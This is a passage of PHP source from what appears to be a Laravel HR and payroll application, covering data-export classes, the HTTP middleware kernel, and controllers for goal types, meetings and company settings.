'secret' => $secretKey, 'response' => $token ); $options = array( 'http' => array( 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); $response = json_decode($result); if ($response->success) { return ['status'=>true]; } else { return ['status'=>false]; } } } Exports/HolidayExport.php000064400000001512150364306410011515 0ustar00creatorId())->get(); foreach($data as $k=>$holidays) { $data[$k]["created_by"]=Employee::login_user($holidays->created_by); unset($holidays->created_at,$holidays->updated_at); } return $data; } public function headings(): array { return [ "ID", "Start Date", "End Date", "Occasion", "Created By" ]; } } Exports/LeaveReportExport.php000064400000005415150364306410012362 0ustar00creatorId())->get(); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get(); // $employees = $employees->get(); foreach ($employees as $employee) { $approved = Leave::where('employee_id', $employee->id)->where('status', 'Approved'); $reject = Leave::where('employee_id', $employee->id)->where('status', 'Reject'); $pending = Leave::where('employee_id', $employee->id)->where('status', 'Pending'); $totalApproved = $totalReject = $totalPending = 0; $approved = $approved->count(); $reject = $reject->count(); $pending = $pending->count(); $totalApproved += $approved; $totalReject += $reject; $totalPending += $pending; $employeeLeave['approved'] = $approved; $employeeLeave['reject'] = $reject; $employeeLeave['pending'] = $pending; $leaves[] = $employeeLeave; } foreach ($data as $k => $leave) { $user_id = $leave->employees->user_id; // $user_id = $leave->employees != null ? $leave->employees->user_id : 0; $user = User::where('id', $user_id)->first(); $data[$k]["employee_id"] = !empty($leave->employees) ? User::employeeIdFormat($leave->employees->employee_id) : ''; $data[$k]["employee"] = (!empty($leave->employees->name)) ? $leave->employees->name : ''; $data[$k]["approved_leaves"] = $leaves[$k]['approved'] == 0 ? '0' : $leaves[$k]['approved']; $data[$k]["rejected_leaves"] = $leaves[$k]['reject'] == 0 ? '0' : $leaves[$k]['reject']; $data[$k]["pending_leaves"] = $leaves[$k]['pending'] == 0 ? '0' : $leaves[$k]['pending']; unset($data[$k]['id'], $data[$k]['leave_type_id'], $data[$k]['start_date'], $data[$k]['end_date'], $data[$k]['applied_on'], $data[$k]['total_leave_days'], $data[$k]['leave_reason'], $data[$k]['created_at'], $data[$k]['created_by'], $data[$k]['remark'], $data[$k]['status'], $data[$k]['updated_at'], $data[$k]['account_id']); } return $data; } public function headings(): array { return [ "Employee ID", "Employee", "Approved Leaves ", "Rejected Leaves", "Pending Leaves", ]; } } Exports/PayslipExport.php000064400000005341150364306410011551 0ustar00data = $data; } public function collection() { $request=$this->data; $data = PaySlip::where('created_by', \Auth::user()->creatorId()); if(isset($request->filter_month) && !empty($request->filter_month)){ $month=$request->filter_month; }else{ $month=date('m', strtotime('last month')); } if(isset($request->filter_year) && !empty($request->filter_year)){ $year=$request->filter_year; }else{ $year=date('Y'); } $formate_month_year = $year . '-' . $month; $data->where('salary_month', '=', $formate_month_year); $data=$data->get(); $result = array(); foreach($data as $k => $payslip) { $result[] = array( 'employee_id'=> !empty($payslip->employees) ? \Auth::user()->employeeIdFormat($payslip->employees->employee_id) : '', 'employee_name' => (!empty($payslip->employees)) ? $payslip->employees->name : '', 'basic_salary' => \Auth::user()->priceFormat($payslip->basic_salary), 'net_salary' => \Auth::user()->priceFormat($payslip->net_payble), 'status' => $payslip->status == 0 ? 'UnPaid' : 'Paid', 'account_holder_name' => (!empty($payslip->employees)) ? $payslip->employees->account_holder_name : '', 'account_number' => (!empty($payslip->employees)) ? $payslip->employees->account_number : '', 'bank_name' => (!empty($payslip->employees)) ? $payslip->employees->bank_name : '', 'bank_identifier_code' => (!empty($payslip->employees)) ? $payslip->employees->bank_identifier_code : '', 'branch_location' => (!empty($payslip->employees)) ? $payslip->employees->branch_location : '', 'tax_payer_id' => (!empty($payslip->employees)) ? $payslip->employees->tax_payer_id : '', ); } return collect($result); } public function headings(): array { return [ "EMP ID", "Name", // "Payroll Type", "Salary", "Net Salary", "Status", "Account Holder Name", "Account Number", "Bank Name", "Bank Identifier Code", "Branch Location", "Tax Payer Id", ]; } } Exports/accountstatementExport.php000064400000002176150364306410013514 0ustar00creatorId())->get(); foreach ($data as $k => $account) { $account["account_name"] = !empty($account->accounts) ? $account->accounts->account_name : ''; $account["date"] = \Auth::user()->dateFormat($account->date); $account["amount"] = \Auth::user()->priceFormat($account->amount); unset($account->id, $account->income_category_id, $account->payer_id, $account->payment_type_id, $account->referal_id, $account->description, $account->created_by, $account->created_at, $account->updated_at,$account->account_id); } return $data; } public function headings(): array { return [ "Amount", "Date", "Account Name", ]; } } Exports/EventExport.php000064400000001715150364306410011212 0ustar00creatorId())->get(); foreach ($data as $k => $events) { $data[$k]["branch_id"] = Branch::where('id',$events->branch_id)->pluck('name')->first(); } return $data; } public function headings(): array { return [ "ID", "Branch Id", "Department Id", "Employee Id", "Title", "Start Date", "End Date", "Color", "Description", "Created By", "Created At", "Updated At", ]; } } Exports/TrainerExport.php000064400000002002150364306410011523 0ustar00creatorId())->get(); foreach($data as $k=>$trainer) { $data[$k]["branch"]=!empty($trainer->branches)?$trainer->branches->name:''; $data[$k]["created_by"]=Employee::login_user($trainer->created_by); unset($trainer->created_at,$trainer->updated_at); } return $data; } public function headings(): array { return [ "ID", "Branch Name", "First Name", "Last Name", "Contact", "Email ID", "Address", "Experience", "Created By" ]; } } Exports/DepositExport.php000064400000002766150364306410011547 0ustar00creatorId())->get(); foreach($data as $k=>$deposit) { $data[$k]["account_id"]= !empty($deposit->account($deposit->account_id))?$deposit->account($deposit->account_id)->account_name:''; $data[$k]["income_category_id"]=!empty($deposit->income_category($deposit->income_category_id))?$deposit->income_category($deposit->income_category_id)->name:''; $data[$k]["payer_id"]= Deposit::payer($deposit->payer_id)->payer_name; $data[$k]["payment_type_id"]=!empty($deposit->payment_type($deposit->payment_type_id))?$deposit->payment_type($deposit->payment_type_id)->name:''; $data[$k]["created_by"]=Employee::login_user($deposit->created_by); unset($deposit->created_at,$deposit->updated_at); } return $data; } public function headings(): array { return [ "ID", "Account Name", "Amount", "Date", "Income Category", "Payer", "Payment type", "Referal Id", "Description", "Created By" ]; } } Exports/PayrollExport.php000064400000004735150364306410011560 0ustar00month = $data['month']; $this->branch = $data['branch']; $this->department = $data['department']; } public function collection() { // $data = PaySlip::select('pay_slips.*', 'employees.name')->leftjoin('employees', 'pay_slips.employee_id', '=', 'employees.id')->where('pay_slips.created_by', \Auth::user()->creatorId())->get(); $data = PaySlip::select('pay_slips.*', 'employees.name')->leftJoin('employees', 'pay_slips.employee_id', '=', 'employees.id')->where('pay_slips.created_by', \Auth::user()->creatorId())->where('employees.branch_id', $this->branch)->where('employees.department_id', $this->department); $month = date('Y-m'); $data->where('salary_month', $this->month); $filterYear['dateYearRange'] = date('M-Y', strtotime($month)); $filterYear['type'] = __('Monthly'); $data = $data->get(); foreach ($data as $k => $payslip) { $payslip["employee_id"] = !empty($payslip->employees) ? \Auth::user()->employeeIdFormat($payslip->employees->employee_id) : ''; $payslip["employee_name"] = (!empty($payslip->name)) ? $payslip->name : ''; $payslip["salary"] = \Auth::user()->priceFormat($payslip->basic_salary); $payslip["net_salary"] = \Auth::user()->priceFormat($payslip->net_payble); $payslip["month"] = $payslip->salary_month; $payslip["status"] = $payslip->status == 0 ? 'UnPaid' : 'Paid'; unset($payslip->created_at, $payslip->updated_at, $payslip->allowance, $payslip->commission, $payslip->loan, $payslip->saturation_deduction, $payslip->other_payment, $payslip->overtime, $payslip->saturation_deduction, $payslip->created_by, $payslip->id, $payslip->name, $payslip->net_payble, $payslip->basic_salary, $payslip->salary_month); } return $data; } public function headings(): array { return [ "Employee Id", "Status", "Employee Name", "Salary", "Net Salary", "Month", ]; } } Exports/ExpenseExport.php000064400000002774150364306410011546 0ustar00creatorId())->get(); foreach($data as $k=>$expense) { $data[$k]["account_id"]=!empty($expense->account($expense->account_id))?$expense->account($expense->account_id)->account_name:''; $data[$k]["expense_category_id"]= !empty($expense->expense_category($expense->expense_category_id))?$expense->expense_category($expense->expense_category_id)->name:''; $data[$k]["payee_id"]=Expense::payee($expense->payee_id)->payee_name; $data[$k]["payment_type_id"]=!empty($expense->payment_type($expense->payment_type_id))?$expense->payment_type($expense->payment_type_id)->name:''; $data[$k]["created_by"]=Employee::login_user($expense->created_by); unset($expense->created_at,$expense->updated_at); } return $data; } public function headings(): array { return [ "ID", "Account Name", "Amount", "Date", "Expense Category", "Payee", "Payment Type", "Referal Id", "Description", "Created By", ]; } } Exports/AssetsExport.php000064400000001745150364306410011376 0ustar00creatorId())->get(); foreach($data as $k=>$assets) { $data[$k]["employee_id"]=Employee::employee_name($assets->employee_id); $data[$k]["created_by"]=Employee::login_user($assets->created_by); unset($assets->created_at,$assets->updated_at); } return $data; } public function headings(): array { return [ "ID", "employee", "Asset Name", "Purchase Date", "Supported Date", "Amount", "Description", "Created By" ]; } } Exports/TransferBalanceExport.php000064400000003051150364306410013156 0ustar00creatorId())->get(); foreach($data as $k=>$transfer_balance) { $data[$k]["from_account_id"]=!empty($transfer_balance->account($transfer_balance->from_account_id))?$transfer_balance->account($transfer_balance->from_account_id)->account_name:''; $data[$k]["to_account_id"]=!empty($transfer_balance->account($transfer_balance->to_account_id))?$transfer_balance->account($transfer_balance->to_account_id)->account_name:''; $data[$k]["payment_type_id"]=!empty($transfer_balance->payment_type($transfer_balance->payment_type_id))?$transfer_balance->payment_type($transfer_balance->payment_type_id)->name:''; $data[$k]["created_by"]=Employee::login_user($transfer_balance->created_by); unset($transfer_balance->created_at,$transfer_balance->updated_at); } return $data; } public function headings(): array { return [ "ID", "From Account", "To Account", "Date", "Amount", "Payment Type", "Referal ID", "Description", "Created BY" ]; } } Exports/LeaveExport.php000064400000004424150364306410011165 0ustar00creatorId())->get(); if (\Auth::user()->type == 'employee') { $employee = Employee::where('user_id', '=', $user->id)->first(); $data= Leave::where('employee_id', '=', $employee->id)->where('created_by', \Auth::user()->creatorId())->get(); foreach($data as $k=>$leave) { $data[$k]["employee_id"]=Employee::employee_name($leave->employee_id); $data[$k]["leave_type_id"]= !empty(\Auth::user()->getLeaveType($leave->leave_type_id))?\Auth::user()->getLeaveType($leave->leave_type_id)->title:''; $data[$k]["created_by"]=Employee::login_user($leave->created_by); unset($leave->created_at,$leave->updated_at); } } else{ $data= Leave::where('created_by', \Auth::user()->creatorId())->get(); foreach($data as $k=>$leave) { $data[$k]["employee_id"]=Employee::employee_name($leave->employee_id); $data[$k]["leave_type_id"]= !empty(\Auth::user()->getLeaveType($leave->leave_type_id))?\Auth::user()->getLeaveType($leave->leave_type_id)->title:''; $data[$k]["created_by"]=Employee::login_user($leave->created_by); unset($leave->created_at,$leave->updated_at); } return $data; } return $data; } public function headings(): array { return [ "ID", "Employee Name", "Leave Type ", "Applied On", "Start Date", "End Date", "Total Leaves Days", "Leave Reason", "Remark", "Status", "Created By" ]; } } Exports/TrainingExport.php000064400000005015150364306410011701 0ustar00creatorId())->get(); foreach ($data as $k => $training) { unset($training->created_at,$training->updated_at); $data[$k]["branch"] = Branch::where('id', $training->branch)->pluck('name')->first(); $trainer_option = $training->trainer_option; if ($trainer_option == 0) { $data[$k]["trainer_option"] = 'Internal'; } else { $data[$k]["trainer_option"] = 'External'; } $data[$k]["training_type"] = TrainingType::where('id', $training->training_type)->pluck('name')->first(); $data[$k]["trainer"] = Trainer::where('id', $training->trainer)->pluck('firstname')->first(); $data[$k]["employee"] = Employee::where('id', $training->employee)->pluck('name')->first(); $data[$k]["status"]=Training::status($training->status); $data[$k]["created_by"]=Employee::login_user($training->created_by); $data[$k]["performance"] = Employee::where('id', $training->employee)->pluck('name')->first(); $performance = $training->performance; if ($performance == 0) { $data[$k]["performance"] = 'Not Concluded'; } else if ($performance == 1) { $data[$k]["performance"] = 'Satisfactory'; } elseif ($performance == 2) { $data[$k]["performance"] = 'Average'; } elseif ($performance == 3) { $data[$k]["performance"] = 'Poor'; } else { $data[$k]["performance"] = 'Excellent'; } } return $data; } public function headings(): array { return [ "ID", "Branch Name", "Trainer Option", "Trainer Type", "Trainer", "Trainer Cost", "Employee Name", "Start Date", "End Date", "Description", "Performance", "status", "Remarks", "Created By" ]; } } Exports/TimesheetExport.php000064400000001713150364306410012056 0ustar00creatorId())->get(); foreach($data as $k=>$timesheet) { $data[$k]["employee_id"]=!empty($timesheet->employee) ? $timesheet->employee->name : ''; $data[$k]["created_by"]=Employee::login_user($timesheet->created_by); unset($timesheet->created_at,$timesheet->updated_at); } return $data; } public function headings(): array { return [ "ID", "Employee Name", "Date", "Hour", "Remark", "Created By" ]; } } Exports/EmployeesExport.php000064400000003624150364306410012074 0ustar00creatorId())->get(); foreach($data as $k => $employees) { unset($employees->id,$employees->user_id,$employees->documents,$employees->tax_payer_id,$employees->is_active,$employees->created_at,$employees->updated_at); $data[$k]["branch_id"]=!empty($employees->branch_id) ? $employees->branch->name : '-'; $data[$k]["department_id"]=!empty($employees->department_id) ? $employees->department->name : '-'; $data[$k]["designation_id"]= !empty($employees->designation_id) ? $employees->designation->name : '-'; $data[$k]["salary_type"]=!empty($employees->salary_type) ? $employees->salaryType->name :'-'; $data[$k]["salary"]=Employee::employee_salary($employees->salary); $data[$k]["created_by"]=Employee::login_user($employees->created_by); } return $data; } public function headings(): array { return [ "Name", "Date of Birth", "Gender", "Phone Number", "Address", "Email ID", "Password", "Employee ID", "Branch", "Department", "Designation", "Date of Join", "Account Holder Name", "Account Number", "Bank Name", "Bank Identifier Code", "Branch Location", "Salary Type", "Salary", "Created By" ]; } } Exports/TimesheetReportExport.php000064400000001720150364306410013250 0ustar00creatorId())->get(); foreach($data as $k=>$timesheet) { $data[$k]["employee_id"]=!empty($timesheet->employee) ? $timesheet->employee->name : ''; $data[$k]["created_by"]=Employee::login_user($timesheet->created_by); unset($timesheet->created_at,$timesheet->updated_at,$timesheet->created_by); } return $data; } public function headings(): array { return [ "ID", "Employee Name", "Date", "Hour", "Remark", ]; } } Http/Kernel.php000064400000005151150364306410007420 0ustar00 [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, // \Illuminate\Session\Middleware\AuthenticateSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ // \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, 'throttle:api', \Illuminate\Routing\Middleware\SubstituteBindings::class, ], ]; /** * The application's route middleware. * * These middleware may be assigned to groups or used individually. * * @var array */ protected $routeMiddleware = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, 'XSS' => \App\Http\Middleware\XSS::class, 'CheckPlan' => \App\Http\Middleware\CheckPlan::class, 'Pusher' => \App\Http\Middleware\getPusherSettings::class ]; } Http/Controllers/GoalTypeController.php000064400000007725150364306410014307 0ustar00can('Manage Goal Type')) { $goaltypes = GoalType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('goaltype.index', compact('goaltypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Goal Type')) { return view('goaltype.create'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(\Auth::user()->can('Create Goal Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $goaltype = new GoalType(); $goaltype->name = $request->name; $goaltype->created_by = \Auth::user()->creatorId(); $goaltype->save(); return redirect()->route('goaltype.index')->with('success', __('GoalType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(GoalType $goalType) { // } public function edit($id) { if(\Auth::user()->can('Edit Goal Type')) { $goalType = GoalType::find($id); return view('goaltype.edit', compact('goalType')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if(\Auth::user()->can('Edit Goal Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $goalType = GoalType::find($id); $goalType->name = $request->name; $goalType->save(); return redirect()->route('goaltype.index')->with('success', __('GoalType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if(\Auth::user()->can('Delete Goal Type')) { $goalType = GoalType::find($id); if($goalType->created_by == \Auth::user()->creatorId()) { $goalTrackings = GoalTracking::where('goal_type', $goalType->id)->get(); if(count($goalTrackings) == 0) { $goalType->delete(); }else{ return redirect()->route('goaltype.index')->with('error', __('This GoalType has Goal. Please remove the Goal from this GoalType.')); } return redirect()->route('goaltype.index')->with('success', __('GoalType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/MeetingController.php000064400000032357150364306410014152 0ustar00can('Manage Meeting')) { $employees = Employee::get(); if (Auth::user()->type == 'employee') { $current_employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $meetings = LocalMeeting::orderBy('meetings.id', 'desc') ->leftjoin('meeting_employees', 'meetings.id', '=', 'meeting_employees.meeting_id') ->where('meeting_employees.employee_id', '=', $current_employee->id) ->orWhere(function ($q) { $q->where('meetings.department_id', '["0"]') ->where('meetings.employee_id', '["0"]'); }) ->get(); } else { $meetings = LocalMeeting::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('meeting.index', compact('meetings', 'employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Meeting')) { if (Auth::user()->type == 'employee') { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->where('user_id', '!=', \Auth::user()->id)->get()->pluck('name', 'id'); } else { $branch = Branch::where('created_by', '=', \Auth::user()->creatorId())->get(); $departments = Department::where('created_by', '=', Auth::user()->creatorId())->get(); $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } return view('meeting.create', compact('employees', 'departments', 'branch')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'department_id' => 'required', 'employee_id' => 'required', 'department_id' => 'required', 'title' => 'required', 'date' => 'required', 'time' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if (\Auth::user()->can('Create Meeting')) { $meeting = new LocalMeeting(); $meeting->branch_id = $request->branch_id; $meeting->department_id = json_encode($request->department_id); $meeting->employee_id = json_encode($request->employee_id); $meeting->title = $request->title; $meeting->date = $request->date; $meeting->time = $request->time; $meeting->note = $request->note; $meeting->created_by = \Auth::user()->creatorId(); $meeting->save(); // slack $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['meeting_notification']) && $setting['meeting_notification'] == 1) { // $msg = $request->title . ' ' . __("meeting created for") . ' ' . $branch->name . ' ' . ("from") . ' ' . $request->date . ' ' . ("at") . ' ' . $request->time . '.'; $uArr = [ 'meeting_title' => $request->title, 'branch_name' => $branch->name, 'date' => $request->date, // 'time' => $request->time, 'time' => date('g:i A', strtotime($request->time)), ]; Utility::send_slack_msg('new_meeting', $uArr); } // telegram $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['telegram_meeting_notification']) && $setting['telegram_meeting_notification'] == 1) { // $msg = $request->title . ' ' . __("meeting created for") . ' ' . $branch->name . ' ' . ("from") . ' ' . $request->date . ' ' . ("at") . ' ' . $request->time . '.'; $uArr = [ 'meeting_title' => $request->title, 'branch_name' => $branch->name, 'date' => $request->date, // 'time' => $request->time, 'time' => date('g:i A', strtotime($request->time)), ]; Utility::send_telegram_msg('new_meeting', $uArr); } if (in_array('0', $request->employee_id)) { $departmentEmployee = Employee::whereIn('department_id', $request->department_id)->get()->pluck('id'); $departmentEmployee = $departmentEmployee; } else { $departmentEmployee = $request->employee_id; } foreach ($departmentEmployee as $employee) { $meetingEmployee = new MeetingEmployee(); $meetingEmployee->meeting_id = $meeting->id; $meetingEmployee->employee_id = $employee; $meetingEmployee->created_by = \Auth::user()->creatorId(); $meetingEmployee->save(); } // google calendar if ($request->get('synchronize_type') == 'google_calender') { $type = 'meeting'; $request1 = new GoogleEvent(); $request1->title = $request->title; $request1->start_date = $request->date; $request1->time = $request->time; $request1->end_date = $request->date; Utility::addCalendarDataTime($request1, $type); } //webhook $module = 'New Meeting'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($meeting); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Meeting successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('meeting.index')->with('success', __('Meeting successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show($id) { $meetings = LocalMeeting::where('id',$id)->first(); return view('meeting.show', compact('meetings')); // return redirect()->route('meeting.index'); } public function edit($meeting) { if (\Auth::user()->can('Edit Meeting')) { $meeting = LocalMeeting::find($meeting); if ($meeting->created_by == Auth::user()->creatorId()) { if (Auth::user()->type == 'employee') { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->where('user_id', '!=', Auth::user()->id)->get()->pluck('name', 'id'); } else { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } return view('meeting.edit', compact('meeting', 'employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, LocalMeeting $meeting) { if (\Auth::user()->can('Edit Meeting')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'date' => 'required', 'time' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if ($meeting->created_by == \Auth::user()->creatorId()) { $meeting->title = $request->title; $meeting->date = $request->date; $meeting->time = $request->time; $meeting->note = $request->note; $meeting->save(); return redirect()->route('meeting.index')->with('success', __('Meeting successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LocalMeeting $meeting) { if (\Auth::user()->can('Delete Meeting')) { if ($meeting->created_by == \Auth::user()->creatorId()) { $meeting->delete(); return redirect()->route('meeting.index')->with('success', __('Meeting successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function getemployee(Request $request) { if ($request->department_id) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->whereIn('department_id', $request->department_id)->get()->pluck('name', 'id')->toArray(); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } return response()->json($employees); } public function calender() { $employees = Employee::get(); if (Auth::user()->type == 'employee') { $current_employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $meetings = LocalMeeting::orderBy('meetings.id', 'desc') ->leftjoin('meeting_employees', 'meetings.id', '=', 'meeting_employees.meeting_id') ->where('meeting_employees.employee_id', '=', $current_employee->id) ->orWhere(function ($q) { $q->where('meetings.department_id', '["0"]') ->where('meetings.employee_id', '["0"]'); }) ->get(); } else { $meetings = LocalMeeting::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('meeting.calender' , compact('meetings', 'employees')); } public function get_meeting_data(Request $request) { $arrayJson = []; if($request->get('calender_type') == 'google_calender') { $type ='meeting'; $arrayJson = Utility::getCalendarData($type); } else { $data = LocalMeeting::where('created_by', \Auth::user()->creatorId())->get(); foreach($data as $val) { if (Auth::user()->type == 'employee') { $url = route('meeting.show', $val['id']); }else{ $url = route('meeting.edit', $val['id']); } $end_date=date_create($val->end_date); date_add($end_date,date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id"=> $val->id, "title" => $val->title, "start" => $val->date, "end" => $val->date, "className" => $val->color, "allDay" => true, "textColor" => '#FFF', "url" => $url, ]; } } return $arrayJson; } } Http/Controllers/SettingsController.php000064400000235572150364306410014366 0ustar00offerlangs) { $offerlang = $request->offerlangs; } else { $offerlang = "en"; } if ($request->joininglangs) { $joininglang = $request->joininglangs; } else { $joininglang = "en"; } if ($request->explangs) { $explang = $request->explangs; } else { $explang = "en"; } if ($request->noclangs) { $noclang = $request->noclangs; } else { $noclang = "en"; } $offerlangName = \App\Models\Languages::where('code', $offerlang)->first(); $joininglangName = \App\Models\Languages::where('code', $joininglang)->first(); $explangName = \App\Models\Languages::where('code', $explang)->first(); $noclangName = \App\Models\Languages::where('code', $noclang)->first(); $user = \Auth::user(); if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { if ($user->type == 'super admin') { $settings = Utility::settings(); $admin_payment_setting = Utility::getAdminPaymentSetting(); // cache clear $file_size = 0; foreach (\File::allFiles(storage_path('/framework')) as $file) { $file_size += $file->getSize(); } $file_size = number_format($file_size / 1000000, 4); return view('setting.system_settings', compact('settings', 'admin_payment_setting', 'file_size')); } else { $timezones = config('timezones'); $settings = Utility::settings(); $EmailTemplates = EmailTemplate::all(); $ips = IpRestrict::where('created_by', \Auth::user()->creatorId())->get(); $webhooks = Webhook::where('created_by', \Auth::user()->creatorId())->get(); // $languages = Utility::languages(); //offer letter $Offerletter = GenerateOfferLetter::all(); $currOfferletterLang = GenerateOfferLetter::where('created_by', \Auth::user()->id)->where('lang', $offerlang)->first(); //joining letter $Joiningletter = JoiningLetter::all(); $currjoiningletterLang = JoiningLetter::where('created_by', \Auth::user()->id)->where('lang', $joininglang)->first(); //Experience Certificate $experience_certificate = ExperienceCertificate::all(); $curr_exp_cetificate_Lang = ExperienceCertificate::where('created_by', \Auth::user()->id)->where('lang', $explang)->first(); //NOC $noc_certificate = NOC::all(); $currnocLang = NOC::where('created_by', \Auth::user()->id)->where('lang', $noclang)->first(); return view('setting.company_settings', compact('settings', 'timezones', 'ips', 'EmailTemplates', 'currOfferletterLang', 'Offerletter', 'offerlang', 'Joiningletter', 'currjoiningletterLang', 'joininglang', 'experience_certificate', 'curr_exp_cetificate_Lang', 'explang', 'noc_certificate', 'currnocLang', 'noclang', 'webhooks', 'offerlangName', 'joininglangName', 'explangName', 'noclangName')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { if ($request->logo) { $request->validate( [ 'logo' => 'image|mimes:png|max:20480', ] ); $logoName = 'logo-dark.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'logo', $logoName, $dir, $validation); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } if ($request->logo_light) { $request->validate(['logo_light' => 'required|image|mimes:png',]); // $smallName = 'logo-light.png'; // $path = $request->file('logo_light')->storeAs('uploads/logo/', $smallName); $logoName = 'logo-light.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'logo_light', $logoName, $dir, $validation); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } if ($request->favicon) { $request->validate( [ 'favicon' => 'image|mimes:png' ] ); // $favicon = 'favicon.png'; // $path = $request->file('favicon')->storeAs('uploads/logo/', $favicon); $favicon = 'favicon.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'favicon', $favicon, $dir, $validation); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } if (!empty($request->title_text) || !empty($request->footer_text) || !empty($request->default_language) || isset($request->display_landing_page) || isset($request->disable_signup_button) || !empty($request->theme_color) || !empty($request->cust_theme_bg) || !empty($request->cust_darklayout || !empty($request->email_verification))) { $post = $request->all(); if (!isset($request->display_landing_page)) { $post['display_landing_page'] = 'off'; } if (!isset($request->gdpr_cookie)) { $post['gdpr_cookie'] = 'off'; } if (!isset($request->disable_signup_button)) { $post['disable_signup_button'] = 'off'; } if (!isset($request->cust_darklayout)) { $post['cust_darklayout'] = 'off'; } if (!isset($request->cust_theme_bg)) { $post['cust_theme_bg'] = 'off'; } if (!isset($request->SITE_RTL)) { $post['SITE_RTL'] = 'off'; } if (!isset($request->email_verification)) { $post['email_verification'] = 'off'; } if (isset($request->theme_color) && $request->color_flag == 'false') { $post['theme_color'] = $request->theme_color; } else { $post['theme_color'] = $request->custom_color; } $settings = Utility::settings(); unset($post['_token'], $post['custom_color']); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { if (!empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE 